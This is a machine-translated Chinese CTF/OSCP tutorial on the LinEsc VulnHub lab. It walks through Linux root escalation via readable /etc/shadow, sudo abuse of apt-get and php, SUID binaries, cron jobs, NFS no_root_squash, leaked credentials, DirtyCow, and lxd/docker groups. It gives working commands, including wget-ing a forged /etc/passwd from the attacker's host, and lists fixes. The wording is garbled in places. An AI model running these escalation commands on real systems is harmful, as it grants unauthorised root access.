描述
LinEsc是一台旨在示範Linux特權更新的7種最常見方式的機器。
目标:通過7種不同方式獲得root特權。
預設憑據:(muhammad:nasef)
靶機下載下傳位址:http://www.vulnhub.com/entry/linesc-1,616/
Linux提權技術合集:
https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653571678&idx=1&sn=67c068ff3eb64062775a9164abe00b63&chksm=811b5c1cb66cd50a110b0810e5cc6f8a42eade46ad8f59dc43b48eb4d7b468c45afe68fe97e6&mpshare=1&scene=23&srcid=0205Mys8GF0tw0Wm4Xeb1v0Z&sharer_sharetime=1612506109614&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd
适用于OSCP和CTF的Ultimate Linux特權更新指南
2020年12月6日
教程ctf
特權更新是大多數CTF參與者和OSCP學生都在努力的話題。特權更新通常是為了獲得更多特權,但是在這種情況下,這意味着獲得root特權,這是系統中的最高特權。在本文中,我将通過開發步驟解釋Linux特權更新的7種方法以及如何解決它們。但是,作為前提,您必須具有Linux必需品,例如有關如何使用指令行和Linux權限模型的知識。為了繼續學習本教程,我們将使用由我建立的一台名為LinESC的易受攻擊的計算機。您可以從這裡下載下傳。預設使用者為“ muhammad”,密碼為“ nasef”。
目錄
1)權限配置錯誤
2)SUDO
i . cd /home/vuln/2
ii . apt-get權限濫用特權提升
iii. php特權提升
3)SUID
4)CRONJOBS
5)服務配置錯誤
NFS特權提升
6)密碼洩露
i . history
ii . SSH密鑰
7)核心開發
8)id(其他靶場)
lxd提權
docker提權
<總結>
1)權限配置錯誤
某些檔案隻能由root使用者讀取,而其他任何人都隻能由root使用者讀取。有時檔案的權限配置不正确,例如/ etc / shadow存儲了整個系統的密碼。除了root之外,沒有人可以閱讀它。
可讀的 /etc/shadow
在這台機器上,/etc/shadow可以被所有人讀取。是以,我們可以輕松地檢視root密碼的哈希值,并使用john或hashcat對其進行破解。
開發過程
要檢查/ etc / shadow的權限,請使用
ls -la /etc/ | grep shadow

如果可讀,則可以通過以下方式檢視哈希
cat /etc/shadow
将哈希存儲在檔案中,然後使用rockyou單詞表在其中運作john。 使用者名
解決方案
為适當的檔案設定适當的權限。在這種情況下,我們應該删除其他使用者的閱讀權限。
2)SUDO
SUDO是Linux中的一項功能,它允許使用者A以使用者B的身份執行某些指令。有時,使用者可能以root使用者身份執行certian指令。是以,我們可能濫用此功能來獲得特權更新。
開發過程
使用
sudo -l
列出允許使用者像其他使用者一樣執行的指令
如您所見,我們可以以(root)執行三個指令
i . cd /home/vuln/2
我們可以閱讀腳本的源代碼。它隻是啟動一個新的shell,但是因為我們以root使用者身份執行此指令。我們将獲得根外殼。
sudo /home/muhammad/vuln/2/sudo
ii . apt-get權限濫用特權提升
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
iii. php特權提升
sudo php -r "pcntl_exec('/bin/sh');"
解決方案
為适當的檔案設定适當的權限。在這種情況下,請從/etc/sudoers中删除整個條目。
3)SUID
SUID是一種特殊權限,它允許任何使用者以檔案所有者的身份執行檔案。是以,如果檔案的所有者是root,則任何使用者都可以root身份執行該檔案。
開發過程
使用
find / -perm -4000 2> /dev/null
搜尋具有suid權限的可執行檔案
我們發現一個名為
/home/muhammad/vuln/1/suid
在跑。
即在
/home/muhammad/vuln/1/
我們找到了與sudo檔案基本相同的源代碼。
因為設定了SUID并且所有者是root,是以我們能夠将shell作為root。
這個suid檔案,執行之後會有一個shell傳回,這個shell是具有root權限的。id檢視權限,不是root,但是對/etc/passwd有讀寫權限,我們來添加一個root使用者。
切回kali,生成密碼。
openssl passwd -1 -salt qqq 123456
複制目标/etc/passwd到kali下,将我們生成的密碼,按照格式寫入。
python開啟http伺服器,使用wget覆寫/etc/passwd。
靶機執行
wget http://192.168.155.128/passwd
cp指令覆寫/etc/passwd
cp ./passwd /etc/passwd
提權完成
解決方案
為适當的檔案設定适當的權限。在這種情況下,請從檔案中删除suid權限。
4)CRONJOBS
Cronjobs是計劃的指令和腳本,它們以特定使用者的身份在一定時間間隔内自動運作。如果某個腳本以一定的時間間隔以root身份執行,則我們可以修改此腳本。我們可能會得到root shell。
檢視計劃任務
cat /etc/crontab
列出系統中具有SUID權限的所有檔案。
發現系統每一分鐘以root權限執行script.sh。我去跟進去看看。
檢查腳本的内容後,我們發現它隻是複制了passwd檔案以替換/ etc / passwd,是以我們隻需修改./passwd并添加具有root權限的另一個使用者,然後登入即可。
使用mkpasswd建立密碼。
從passwd檔案複制根條目,并使用我們上面建立的密碼修改使用者和密碼。
等待1分鐘,直到腳本執行完畢,這樣您就可以輕松
解決方案
檢查根目錄的計劃任務,并删除不必要的任務或可能被利用的任務。在本例中,請删除script.sh任務。
5)服務配置錯誤
某些服務可能配置錯誤,導緻特權更新。
NFS特權提升
一個著名的配置錯誤是NFS無根壓縮。NFS是允許伺服器與其他計算機共享指定目錄的協定。
如果computerA有兩個使用者(muhammad,root)。Muhammad在共享中建立了一個檔案,然後所有者将成為computerA的所有者,但是當computerA的根在共享中建立檔案時,就會出現問題。NFS将混淆computerA的根目錄和共享的根目錄。是以,如果computerA中的根目錄建立了腳本并為伺服器共享中的檔案添加了suid權限。那麼伺服器中的一個簡單使用者可以将此腳本作為共享的根目錄運作。這是非常危險的。
開發過程
1.跑
cat /etc/exports
檢視導出的份額。
2.您會發現/ home / muhammad是共享的,但更重要的是啟用了no_root_squash。是以,我們将利用它。
3.在我們的機器上使用
檢視靶機挂載目錄
showmount -e 192.168.155.139
将目标靶機nfs目錄挂載到mnt目錄中
mount -t nfs 192.168.155.139:/home/muhammad /mnt
4.由于我們的root是在 kali Linux,那麼我們在共享上建立的任何檔案将被共享的root使用者所擁有,并給予了suid權限将允許使用者 muhammad 運作此檔案為root。是以我們可以建立一個腳本,該腳本将複制了passwd檔案以替換/ etc / passwd 如crontab示例。無論如何,我寫了這個腳本,它在/ home / muhammad / vuln / 4中。
5.像crontab示例一樣,在passwd中添加新使用者。
6.提供腳本SUID和執行權限
chmod +sx script.sh
從易受攻擊的系統中運作腳本,瞧,新的root使用者被添加了!
su到新建立的使用者。
解決方案
為了解決服務配置錯誤,我們必須重新配置服務。在我們的情況下,請消除no_root_squash。
6)密碼洩露
在某些情況下,可以明顯地看到由于不良做法而導緻的root密碼,而我們僅讨論兩種情況,因為密碼管理問題數量不限。這種特權更新方法很難找到,因為沒有直接的方法可以找到存儲的密碼。但是檢查正在運作的服務的配置檔案很有用,因為可能會重用密碼。還檢查系統目錄并嘗試檢查是否有可疑檔案。
i . history
如果您鍵入指令history,它将為您提供使用者執行的指令的曆史記錄。
history
檢查輸出,您會發現兩條重要的線。首先是告訴您按照我的Twitter帳戶@nasefmuhammad進行操作:D。第二個是使用者輸入的指令錯誤。他的意圖是輸入su root然後輸入密碼,但是他沒有寫“ sudo root chicken”,而是chicken是root的密碼。
修複建議:清除曆史記錄,不直接再指令行中使用密碼。
ii . SSH密鑰
SSH識别密鑰在某些情況下可能允許您不使用密碼ssh登入到目标使用者。是以,您需要将ssh密鑰存儲在目标使用者是唯一有權通路的安全位置。
在我們的例子中,根密鑰存儲在/ home / muhammad / vuln / 3 / key中,是以我們簡單地使用ssh -i指令以root使用者身份登入ssh。
下載下傳到本機
解決方案
這些問題的解決方案是顯而易見的。隻需遵循存儲密碼的最佳做法。
7)核心開發
像任何軟體一樣,Linux核心也具有嚴重漏洞的曆史。其中一些漏洞可能會導緻特權更新等嚴重情況,是以,我們始終需要檢查核心版本,然後在exploitdb或任何其他exploit資料庫中進行搜尋。
我們可以使用以下指令檢查核心版本
uname -r
然後在exploitdb中搜尋合适的利用
searchsploit linux 2.6.24
ctf中一個著名的重複利用漏洞是dirtycow.
使用髒牛提權,使用exploit-db的exp
searchsploit linux/local/40839.c -m
然後,按照漏洞利用中的說明進行編譯。
gcc -pthread 40839.c -o dirty -lcrypt
運作漏洞利用程式。
利用之後,您會發現建立了具有root特權的新使用者,您現在是root!
解決方案
核心利用的解決方案是保持系統更新。在我們的情況下,我們必須放棄8.04 ubuntu并獲得受支援的版本。
8)id(其他靶場)
id 檢視使用者基本資訊,發現在lxd使用者組,
lxd提權
github建構提權環境
https://github.com/saghul/lxd-alpine-builder
sudo ./build-alpine
然後回自動生成一個tar.gz檔案,重命名成t.tar.gz
mv alpine-v3.12-x86_64-20201217_1534.tar.gz t.tar.gz
将t.tar.gz檔案傳輸到目标主機上面,使用python開啟http服務
python -m SimpleHTTPServer 80
目标主機使用wget下載下傳t.tar.gz
wget http://192.168.56.105/t.tar.gz
需要先初始化環境 一切預設
lxd init
檢視一下image
發現沒有任何鏡像,我們導入一下鏡像,然後再次檢視。
lxc image import ./t.tar.gz --alias dmagicsec
初始化容器
lxc init dmagicsec dmagicsec -c security.privileged=true
映射容器
lxc config device add dmagicsec dmagicsec disk source=/ path=/mnt/root recursive=true
啟動容器
lxc start dmagicsec
執行互動shell
lxc exec dmagicsec /bin/sh
擷取flag
檢視id屬于docker組,
docker提權
提升權限
docker run -it --rm -v /:/mnt bash
思路:目前我們将目标靶機的整盤目錄挂載到了docker中,且在/mnt目錄下,我們修改/mnt目錄下面的檔案,會直接影響到靶機。是以我們修改/etc/passwd檔案,添加root權限使用者。
生成密碼
opensll passwd -1 -salt magisec 123456
進入我們剛剛root權限的虛拟容器shell,添加使用者。格式如下
vi /mnt/etc/passwd
檢視flag檔案
<總結>
- 權限配置錯誤; /etc/shadow 可讀
- sudo -l
- 轉到/home/vuln/2,我們可以閱讀腳本的源代碼。它隻是啟動一個新的shell,但是因為我們以root使用者身份執行此指令。我們将獲得根外殼。
- ii. apt-get權限濫用特權提升; sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
- php特權提升 ; sudo php -r "pcntl_exec('/bin/sh');"
- id
- lxc提權;id檢視使用者基本資訊,發現在lxd使用者組,使用lxd提權。github建構提權環境
- docker權限提升;檢視id屬于docker組,我們使用docker提權。docker run -it --rm -v /:/mnt bash
- SUID是一種特殊權限,它允許任何使用者以檔案所有者的身份執行檔案。find / -perm -4000 2> /dev/null
- 檢視計劃任務; cat /etc/crontab
- 服務配置錯誤
- NFS特權提升; cat /etc/exports => 啟用了no_root_squash =>showmount -e 192.168.155.139 =>mount -t nfs 192.168.155.139:/home/muhammad /mnt
- 密碼洩露
- history
- SSH密鑰
- 核心開發
- uname -r =>searchsploit linux x.x.x =>著名的重複利用漏洞是dirtycow(髒牛提權)